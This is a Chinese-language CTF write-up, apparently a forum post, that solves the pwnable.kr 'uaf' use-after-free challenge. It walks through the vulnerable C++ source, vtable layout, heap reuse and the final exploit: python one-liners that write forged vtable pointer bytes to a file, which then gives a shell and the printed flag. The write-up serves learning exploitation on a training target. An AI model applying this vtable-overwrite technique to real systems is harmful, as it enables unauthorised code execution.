-
-
[分享]pwnable.kr uaf
-
2021-1-18 14:48 8937
-
uaf
UAF 是 Use-After-Free 的缩写,也就是释放后重用漏洞。UAF 漏洞的成因是一块堆内存被释放了之后又被使用。又被使用指的是:指针存在(野指针被引用)。这个引用的结果是不可预测的。由于大多数的堆内存其实都是 C++ 对象,所以利用的核心思路就是分配堆去占坑,占的坑中有自己构造的虚函数表。
题目
解题过程
1. 查看文件列表
uaf 文件的组权限有 s,所以我们可以通过执行 uaf 文件临时获得与 uaf_pwn 相同的权限,此时拥有 flag 的读权限。
2. 阅读 uaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 | #include <fcntl.h> #include <iostream> #include <cstring> #include <cstdlib> #include <unistd.h> using namespace std; class Human{ private: virtual void give_shell(){ system( "/bin/sh" ); } protected: int age; string name; public: virtual void introduce(){ cout << "My name is " << name << endl; cout << "I am " << age << " years old" << endl; } }; class Man: public Human{ public: Man(string name, int age){ this - >name = name; this - >age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a nice guy!" << endl; } }; class Woman: public Human{ public: Woman(string name, int age){ this - >name = name; this - >age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a cute girl!" << endl; } }; int main( int argc, char * argv[]){ Human * m = new Man( "Jack" , 25 ); Human * w = new Woman( "Jill" , 21 ); size_t len ; char * data; unsigned int op; while ( 1 ){ cout << "1. use\n2. after\n3. free\n" ; cin >> op; switch(op){ case 1 : m - >introduce(); w - >introduce(); break ; case 2 : len = atoi(argv[ 1 ]); data = new char[ len ]; read( open (argv[ 2 ], O_RDONLY), data, len ); cout << "your data is allocated" << endl; break ; case 3 : delete m; delete w; break ; default: break ; } } return 0 ; } |
main() 中先是定义了两个子类的对象,然后循环结构中有 3 个 case,第一个分别调用了 introduce(),第二个分配一个用户指定大小的的内存并向里面写入用户指定的数据,第三个执行前面两个对象的销毁。
我们的目标是执行 Human 类的 give_shell()
我们可以主动运行 m->introduce() ,所以考虑修改虚函数表,使程序在调用 introduce() 时,实际调用的为 give_shell().
为此我们需要先 free 再 allocate,并在 allocate 时修改虚表指针
give_shell() 的地址可通过调试获得
3. 调试程序
寻找 give_shell() 地址
在 C++ 中,如果类中有虚函数,那么它就会有一个虚函数表的指针 __vfptr,存储在类对象最开始的内存数据中,之后存储类中的成员变量的内存数据。
对于子类,最开始的内存数据存储着父类对象的拷贝(包括父类虚函数表指针和成员变量),之后存储子类自己的成员变量数据。
当子类重载父类虚函数时,修改虚函数表 (vtable) 同名函数地址,改为指向子类的函数地址,若子类中有新的虚函数,在 vtable 尾部添加。
首先使用 checksec 检查一下 uaf 文件
64 位程序,没有开启 PIE 保护,所以每次程序运行时加载的地址是相同的
我们要使用到的是 m->introduce(),使用 IDA 查看 uaf 是如何调用 introduce() 的。
uaf 文件通过
scp -P 2222 uaf@pwnable.kr:/home/uaf/uaf ./
指令下载至本地
m 调用 introduce() 的地址是虚函数表地址 + 8,如果我们将虚函数表的地址修改为 give_shell() 的地址 - 8 则当执行 introduce() 即虚函数表地址 + 8 时会执行 give_shell()。
使用 IDA 的 Xrefs to 功能查看所有 give_shell() 的地址。
give_shell() 的地址一共有三个,分别对应 Human Man Woman 虚函数表内 give_shell() 的地址
从这三个地址中任选一个 - 8,作为新的 Man 的虚表地址。
确定输入数据大小
Linux 在内核 2.6.22 后使用 SLUB 的方式分配内存。
SLUB:对对象类型没有限制,两个对象只要大小差不多就可以重用同一块内存,而不在乎类型是否相同。
所以为了能够使用刚刚 free 的内存空间,我们需保证分配的内存空间大小与 free 的相同
可以看出,程序给每个对象分配了 0x18 个字节即 24 个字节
确定程序流程
首先我们先执行 case3,先后 free 了 m 和 w
然后执行一次 case2,此时将后 free 的 w 的空间分配,因为我们最后利用的是 m 的空间,所以还需再执行一次 case2
最后执行 case1 获得 shell
4. pwn
由
1 2 3 4 5 6 | case 2 : len = atoi(argv[ 1 ]); data = new char[ len ]; read( open (argv[ 2 ], O_RDONLY), data, len ); cout << "your data is allocated" << endl; break ; |
得,第一个参数为分配的内存大小单位为字节(C 中 char 为 1 字节).数据文件读取且文件路径为第二个参数
文件内容有以下三个内容任选一个生成
1 2 3 | python - c 'print "\x48\x15\x40\x00\x00\x00\x00\x00"' > / tmp / uaf_2021 python - c 'print "\x68\x15\x40\x00\x00\x00\x00\x00"' > / tmp / uaf_2021 python - c 'print "\x88\x15\x40\x00\x00\x00\x00\x00"' > / tmp / uaf_2021 |
执行 /uaf 24 /tmp/uaf_2021
获得 flagyay_f1ag_aft3r_pwning
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。